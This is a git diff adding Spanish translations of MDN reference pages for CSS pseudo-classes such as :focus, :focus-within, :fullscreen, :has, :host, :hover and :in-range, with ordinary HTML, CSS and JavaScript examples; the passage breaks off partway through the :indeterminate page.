+++ b/files/es/web/css/_colon_focus-within/index.html
@@ -0,0 +1,96 @@
+---
+title: ':focus-within'
+slug: 'Web/CSS/:focus-within'
+tags:
+  - CSS
+  - Diseño
+  - Referencia
+  - Web
+  - pseudo-clases
+translation_of: 'Web/CSS/:focus-within'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a> <strong><code>:focus-within</code></strong> representa un elemento que ha recibido el foco o que <em>contiene</em> un elemento que ha recibido el foco. En otras palabras, representa un elemento que en sí coincide con la pseudoclase {{cssxref(":focus")}} o tiene descendientes que coincidan con <code>:focus</code>. (Esto incluye descendientes en <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a>)</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selecciona un &lt;div&gt; cuando uno de sus descendientes recibe el foco*/
+div:focus-within {
+  background: cyan;
+}</pre>
+
+<p>Este selector es útil, por tomar un ejemplo común, para resaltar un contenedor {{HTMLElement("form")}} completo cuando el usuario enfoca sobre uno de sus elementos {{HTMLElement("input")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En este ejemplo, el formulario recibirá estilos de color especiales cuando cualquiera de las entradas de texto reciba el foco.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Intenta escribir en este formulario.&lt;/p&gt;
+
+&lt;form&gt;
+  &lt;label for="given_name"&gt;Nombre:&lt;/label&gt;
+  &lt;input id="given_name" type="text"&gt;
+  &lt;br&gt;
+  &lt;label for="family_name"&gt;Apellido:&lt;/label&gt;
+  &lt;input id="family_name" type="text"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css highlight[7] notranslate">form {
+  border: 1px solid;
+  color: gray;
+  padding: 4px;
+}
+
+form:focus-within {
+  background: #ff8;
+  color: black;
+}
+
+input {
+  margin: 4px;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Ejemplos", 500, 150)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-focus-within-pseudo", ":focus-within")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. ISi deseas contribuir con los datos, consulta https://github.com/mdn/browser-compat-data y envíanos un <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.focus-within")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref(":focus")}}</li>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+ <li><a href="https://dev.to/vtrpldn/grab-your-user-s-attention-with-the-focus-within-css-selector-4d4">Grab your user's attention with the focus-within selector</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_focus/index.html b/files/es/web/css/_colon_focus/index.html
new file mode 100644
index 0000000000..5e1ecbe49f
--- /dev/null
+++ b/files/es/web/css/_colon_focus/index.html
@@ -0,0 +1,114 @@
+---
+title: ':focus'
+slug: 'Web/CSS/:focus'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:focus'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-clase</a> <strong><code>:focus</code></strong> <a href="/es/docs/Web/CSS">CSS</a> representa un elemento (como una entrada de formulario) que ha recibido el foco. Generalmente se activa cuando el usuario hace clic, toca un elemento o lo selecciona con la tecla "Tab" del teclado.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;input&gt; cuando se enfoca */
+input:focus {
+  color: red;
+}</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Esta pseudo-clase se aplica solo al elemento enfocado en sí mismo. Utilice {{cssxref(":focus-within")}} si desea seleccionar un elemento que contenga un elemento enfocado.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input class="red-input" value="Voy a ser de color rojo cuando enfoque."&gt;&lt;br&gt;
+&lt;input class="blue-input" value="Voy a ser de color azul cuando enfoque."&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.red-input:focus {
+  background: yellow;
+  color: red;
+}
+
+.blue-input:focus {
+  background: yellow;
+  color: blue;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplo')}}</p>
+
+<h2 id="Sobre_Accesibilidad">Sobre Accesibilidad</h2>
+
+<p>Asegúrate de que el indicador visual de foco pueda ser notado por personas con baja visión. Esto beneficiará a cualquier persona utilizando una pantalla en un ambiente con mucha luminosidad (por ejemplo, exterior en un día soleado). El estándar de <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1</a> requiere que el indicador de foco tenga un contraste de por lo menos 3:1.</p>
+
+<ul>
+ <li>Indicadores de foco accesibles (en inglés): <a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">Give Your Site Some Focus! Tips for Designing Useful and Usable Focus Indicators</a></li>
+</ul>
+
+<h3 id="focus_outline_none">:focus { outline: none; }</h3>
+
+<p>Nunca elimines el outline de un foco sin reemplazarlo por otro tipo de indicador que cumpla con las condiciones de contraste.</p>
+
+<ul>
+ <li>Más información (en inglés):  <a href="https://a11yproject.com/posts/never-remove-css-outlines/">Never remove CSS outlines</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-focus', ':focus')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Define la semántica específica de HTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#focus-pseudo', ':focus')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':focus')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':focus')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.focus")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref(":focus-within")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_fullscreen/index.html b/files/es/web/css/_colon_fullscreen/index.html
new file mode 100644
index 0000000000..d86528d5d8
--- /dev/null
+++ b/files/es/web/css/_colon_fullscreen/index.html
@@ -0,0 +1,170 @@
+---
+title: ':fullscreen'
+slug: 'Web/CSS/:fullscreen'
+tags:
+  - CSS
+  - Experimental
+  - Pantalla completa
+  - Pseudo-clase
+  - Referencia
+translation_of: 'Web/CSS/:fullscreen'
+---
+<div>{{CSSRef}} {{SeeCompatTable}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:fullscreen</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa un elemento que se muestra cuando el navegador está en modo de <a href="/es/docs/Web/API/Fullscreen_API">pantalla completa</a>.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;div&gt; que se muestre en modo de pantalla completa */
+/* Implementado en Firefox, WebKit/Chrome, y Edge/IE usando prefijos;
+   Edge también es compatible con la versión sin prefijo */
+div:-moz-full-screen {
+  background-color: pink;
+}
+
+div:-webkit-full-screen {
+  background-color: pink;
+}
+
+div:fullscreen {
+  background-color: pink;
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: La especificación W3C usa la palabra única <code>:fullscreen</code>, sin guiones, pero las implementaciones experimentales de WebKit y Gecko usan una variante prefijada con dos palabras separadas por un guión: <code>:-webkit-full-screen</code> y <code>:-moz-full-screen</code>, respectivamente. Microsoft Edge e Internet Explorer utilizan la convención estándar: <code>:fullscreen</code> y <code>:-ms-fullscreen</code>, respectivamente.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="fullscreen"&gt;
+  &lt;h1&gt;Demostración :fullscreen&lt;/h1&gt;
+  &lt;p&gt;Este texto se pondrá grande y rojo cuando el navegador esté en modo de pantalla completa.&lt;/p&gt;
+  &lt;button id="fullscreen-button"&gt;Entrar en pantalla completa&lt;/button&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var fullscreenButton = document.getElementById("fullscreen-button");
+var fullscreenDiv    = document.getElementById("fullscreen");
+var fullscreenFunc   = fullscreenDiv.requestFullscreen;
+
+if (!fullscreenFunc) {
+  ['mozRequestFullScreen',
+   'msRequestFullscreen',
+   'webkitRequestFullScreen'].forEach(function (req) {
+     fullscreenFunc = fullscreenFunc || fullscreenDiv[req];
+   });
+}
+
+function enterFullscreen() {
+  fullscreenFunc.call(fullscreenDiv);
+}
+
+fullscreenButton.addEventListener('click', enterFullscreen);
+</pre>
+
+<h3 id="CSS_específico_del_navegador">CSS específico del navegador</h3>
+
+<pre class="brush: css">#fullscreen:-moz-full-screen {
+  padding: 42px;
+  background-color: pink;
+  border: 2px solid #f00;
+  font-size: 200%;
+}
+#fullscreen:-webkit-full-screen {
+  padding: 42px;
+  background-color: pink;
+  border: 2px solid #f00;
+  font-size: 200%;
+}
+
+#fullscreen:-moz-full-screen &gt; h1 {
+  color: red;
+}
+#fullscreen:-webkit-full-screen &gt; h1 {
+  color: red;
+}
+
+#fullscreen:-moz-full-screen &gt; p {
+  color: darkred;
+}
+#fullscreen:-webkit-full-screen &gt; p {
+  color: darkred;
+}
+
+#fullscreen:-moz-full-screen &gt; button {
+  display: none;
+}
+#fullscreen:-webkit-full-screen &gt; button {
+  display: none;
+}
+</pre>
+</div>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#fullscreen:fullscreen {
+  padding: 42px;
+  background-color: pink;
+  border:2px solid #f00;
+  font-size: 200%;
+}
+
+#fullscreen:fullscreen &gt; h1 {
+  color: red;
+}
+
+#fullscreen:fullscreen &gt; p {
+  color: darkred;
+}
+
+#fullscreen:fullscreen &gt; button {
+  display: none;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ LiveSampleLink('Ejemplo', "Haga clic aquí para probar este ejemplo.") }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#:fullscreen-pseudo-class', ':fullscreen')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.fullscreen")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/API/Fullscreen_API">Usando el modo de pantalla completa</a></li>
+ <li>{{cssxref("::backdrop")}}</li>
+ <li>DOM API: {{ domxref("Element.requestFullscreen()") }}, {{ domxref("Document.exitFullscreen()") }}, {{ domxref("Document.fullscreen") }}, {{ domxref("Document.fullscreenElement") }}</li>
+ <li>Atributo {{HTMLAttrXRef("allowfullscreen", "iframe")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_has/index.html b/files/es/web/css/_colon_has/index.html
new file mode 100644
index 0000000000..186e999382
--- /dev/null
+++ b/files/es/web/css/_colon_has/index.html
@@ -0,0 +1,98 @@
+---
+title: ':has'
+slug: 'Web/CSS/:has'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo clase
+  - Referencia
+  - Selectores CSS
+translation_of: 'Web/CSS/:has'
+---
+<p>{{ CSSRef() }}{{SeeCompatTable}}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-class</a> CSS<strong><code>:has()</code> </strong>representa un elemento si cualquiera de los selectores, en relación con el {{cssxref(":scope")}} del elemento dado, que se pasa como parámetro, coincide con al menos un elemento. La pseudo clase :<code>has()</code> tomo un selector como argumento.</p>
+
+<h2 id="Syntax" name="Syntax">Síntaxis</h2>
+
+<pre>:has(<em>selector_list</em>) { propiedades de estilo }</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<p>El siguiente selector  selecciona únicamente los elementos {{HTMLElement("a")}}  que contienen {{HTMLElement("img")}} hijo:</p>
+
+<pre>a:has(&gt; img)
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#relational', ':has()') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad entre los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/_colon_host/index.html b/files/es/web/css/_colon_host/index.html
new file mode 100644
index 0000000000..dca8c822d4
--- /dev/null
+++ b/files/es/web/css/_colon_host/index.html
@@ -0,0 +1,95 @@
+---
+title: ':host'
+slug: 'Web/CSS/:host'
+tags:
+  - ':host'
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:host'
+---
+<div>{{ CSSRef }}</div>
+
+<p><span class="seoSummary">La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a> <strong><code>:host</code></strong> selecciona la sombra host de <a href="/es/docs/Web/Web_Components/Using_shadow_DOM">sombra DOM</a> que contiene el CSS que se usa en el interior — es decir, esto le permite seleccionar un elemento personalizado desde su sombra DOM.</span></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Esto no tiene ningún efecto cuando se usa fuera de una sombra DOM.</p>
+</div>
+
+<pre class="brush: css no-line-numbers">/* Selects a shadow root host */
+:host {
+  font-weight: bold;
+}
+</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Los siguientes fragmentos se toman de nuestro ejemplo de <a href="https://github.com/mdn/web-components-examples/tree/master/host-selectors">selectores de host</a> (<a href="https://mdn.github.io/web-components-examples/host-selectors/">ver también en directo</a>).</p>
+
+<p>En este ejemplo, tenemos un elemento personalizado simple — <code>&lt;context-span&gt;</code> — que se puede envolver alrededor del texto:</p>
+
+<pre class="brush: html">&lt;h1&gt;Host selectors &lt;a href="#"&gt;&lt;context-span&gt;example&lt;/context-span&gt;&lt;/a&gt;&lt;/h1&gt;</pre>
+
+<p>Dentro del constructor del elemento, creamos los elementos <code>style</code> y <code>span</code>, llenamos el <code>span</code> con el contenido del elemento personalizado y llenamos el elemento <code>style</code> con algunas reglas CSS:</p>
+
+<pre class="brush: js">let style = document.createElement('style');
+      let span = document.createElement('span');
+      span.textContent = this.textContent;
+
+      const shadowRoot = this.attachShadow({mode: 'open'});
+      shadowRoot.appendChild(style);
+      shadowRoot.appendChild(span);
+
+      style.textContent = 'span:hover { text-decoration: underline; }' +
+                          ':host-context(h1) { font-style: italic; }' +
+                          ':host-context(h1):after { content: " - no links in headers!" }' +
+                          ':host-context(article, aside) { color: gray; }' +
+                          ':host(.footer) { color : red; }' +
+                          ':host { background: rgba(0,0,0,0.1); padding: 2px 5px; }';</pre>
+
+<p>La regla <code>:host { background: rgba(0,0,0,0.1); padding: 2px 5px; }</code>  estiliza todas las instancias del elemento <code>&lt;context-span&gt;</code> (la sombra host en esta instancia) en el documento.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS Scope', '#host-selector', ':host') }}</td>
+   <td>{{ Spec2('CSS Scope') }}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<p>Compatible con Chrome y Safari.</p>
+
+<div>
+
+
+<p>{{Compat("css.selectors.host")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Web_Components">Componentes Web</a></li>
+ <li>{{cssxref(":host()")}}</li>
+ <li>{{cssxref(":host-context()")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/css/_colon_hover/index.html b/files/es/web/css/_colon_hover/index.html
new file mode 100644
index 0000000000..65b6202f03
--- /dev/null
+++ b/files/es/web/css/_colon_hover/index.html
@@ -0,0 +1,105 @@
+---
+title: ':hover'
+slug: 'Web/CSS/:hover'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:hover'
+---
+<div>{{ CSSRef }}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-clase</a> <strong><code>:hover</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> coincide cuando el usuario interactúa con un elemento con un dispositivo señalador, pero no necesariamente lo activa. Generalmente se activa cuando el usuario se desplaza sobre un elemento con el cursor (puntero del mouse).</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier elemento &lt;a&gt; cuando está "mantenido (hovered)" */
+a:hover {
+  color: orange;
+}</pre>
+
+<p>Los estilos definidos por la pseudoclase <code>:active</code> serán anulados por cualquier pseudo-clase posterior relacionada con el <em>enlace </em>({{ cssxref(":link") }}, {{ cssxref(":visited") }}, o {{ cssxref(":active") }}) que tenga al menos la misma especificidad. Para darle un estilo apropiado a los enlaces, coloque la regla <code>:hover</code> después de las reglas <code>:link</code> y <code>:visited</code>, pero antes de <code>:active</code>, según lo definido por el <em>orden LVHA</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p>
+
+<div class="note"><strong>Nota</strong>: La pseudo-clase <code>:hover</code> es problemática en las pantallas táctiles. Dependiendo del navegador, la pseudo-clase <code>:hover</code> podría no coincidir, coincidir solo por un momento después de tocar un elemento, o continuar coincidiendo incluso después de que el usuario haya dejado de tocar y hasta que el usuario toque otro elemento. Los desarrolladores web deben asegurarse de que el contenido sea accesible en dispositivos con capacidades <em>hovering </em>limitadas o inexistentes.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;a href="#"&gt;Intenta pasar el mouse sobre este enlace.&lt;/a&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">a {
+  background-color: powderblue;
+  transition: background-color .5s;
+}
+
+a:hover {
+  background-color: gold;
+}</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample("Ejemplo_básico")}}</p>
+
+<h3 id="Galería_de_imágenes">Galería de imágenes</h3>
+
+<p>Puede usar la pseudoclase <code>:hover</code> para crear una galería de imágenes con imágenes de tamaño completo que solo se muestran cuando el mouse se mueve sobre una miniatura. Vea <a href="/@api/deki/files/6247/=css-gallery.zip">esta demostración</a> para una posible nota.</p>
+
+<div class="note"><strong>Nota:</strong> Para un efecto análogo, pero basado en la pseudo-clase <a class="internal" href="/es/docs/Web/CSS/%3Achecked"><code>:checked</code></a> (aplicado a radioboxes ocultos), vea <a href="/@api/deki/files/6268/=css-checked-gallery.zip">esta demostración</a>, tomada de la página de referencia <a class="internal" href="/es/docs/Web/CSS/:checked">:checked</a>.</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-hover', ':hover') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#the-hover-pseudo', ':hover') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Permite aplicar <code>:hover</code> a cualquier pseudo-elemento.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Ningún cambio significativo.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.hover")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=370155">Chromium bug #370155: No ponga <code>:hover</code> sticky en los sitios que configuran una ventana gráfica móvil</a></li>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=306581">Chromium bug #306581: Inmediatamente muestra los estados hover y active al tocar cuando la página no se puede desplazar.</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_in-range/index.html b/files/es/web/css/_colon_in-range/index.html
new file mode 100644
index 0000000000..95cee43d30
--- /dev/null
+++ b/files/es/web/css/_colon_in-range/index.html
@@ -0,0 +1,115 @@
+---
+title: ':in-range'
+slug: 'Web/CSS/:in-range'
+tags:
+  - CSS
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:in-range'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-clase</a> <strong><code>:in-range</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa un elemento {{htmlelement("input")}} cuyo valor actual se encuentra dentro de los límites de rango especificados por los atributos {{htmlattrxref("min", "input")}} y {{htmlattrxref("max","input")}}.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;input&gt;, pero solo cuando tiene un rango
+   especificado, y su valor está dentro de ese rango */
+input:in-range {
+  background-color: rgba(0, 255, 0, 0.25);
+}</pre>
+
+<p>Esta pseudo-clase es útil para dar al usuario una indicación visual de que el valor actual de un campo está dentro de los límites permitidos.</p>
+
+<div class="note"><strong>Nota:</strong> Esta pseudo-clase solo se aplica a los elementos que tienen (y pueden tomar) una limitación de rango. En ausencia de tal limitación, el elemento no puede estar "dentro del rango" ni "fuera de rango".</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<div id="example">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form action="" id="form1"&gt;
+  &lt;ul&gt;Los valores entre 1 y 10 son válidos.
+    &lt;li&gt;
+      &lt;input id="value1" name="value1" type="number" placeholder="1 a 10" min="1" max="10" value="12"&gt;
+      &lt;label for="value1"&gt;Tu valor esta &lt;/label&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css;">li {
+  list-style: none;
+  margin-bottom: 1em;
+}
+
+input {
+  border: 1px solid black;
+}
+
+input:in-range {
+  background-color: rgba(0, 255, 0, 0.25);
+}
+
+input:out-of-range {
+  background-color: rgba(255, 0, 0, 0.25);
+  border: 2px solid red;
+}
+
+input:in-range + label::after {
+  content: 'bien.';
+}
+
+input:out-of-range + label::after {
+  content: 'fuera de rango!';
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+</div>
+
+<div>{{EmbedLiveSample('Ejemplo', 600, 140)}}</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-in-range', ':in-range')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Define cuándo <code>:in-range</code> coincide con elementos en HTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#in-range-pseudo', ':in-range')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("css.selectors.in-range")}}</p>
+</div>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref(":out-of-range")}}</li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Validación de datos de formulario</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_indeterminate/index.html b/files/es/web/css/_colon_indeterminate/index.html
new file mode 100644
index 0000000000..ff56f97c85
--- /dev/null
+++ b/files/es/web/css/_colon_indeterminate/index.html
@@ -0,0 +1,134 @@
+---
+title: ':indeterminate'
+slug: 'Web/CSS/:indeterminate'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:indeterminate'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:indeterminate</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa cualquier elemento de formulario cuyo estado sea indeterminado.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;input&gt; cuyo estado sea indeterminado */
+input:indeterminate {
+  background: lime;
+}</pre>
+
+<p>Los elementos seleccionados por este selector son:</p>
+
+<ul>
+ <li>Elementos <code><a href="/es/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a></code> cuya propiedad <code>indeterminate</code> se establece en <code>true</code> por <a href="/es/docs/Web/JavaScript">JavaScript</a></li>
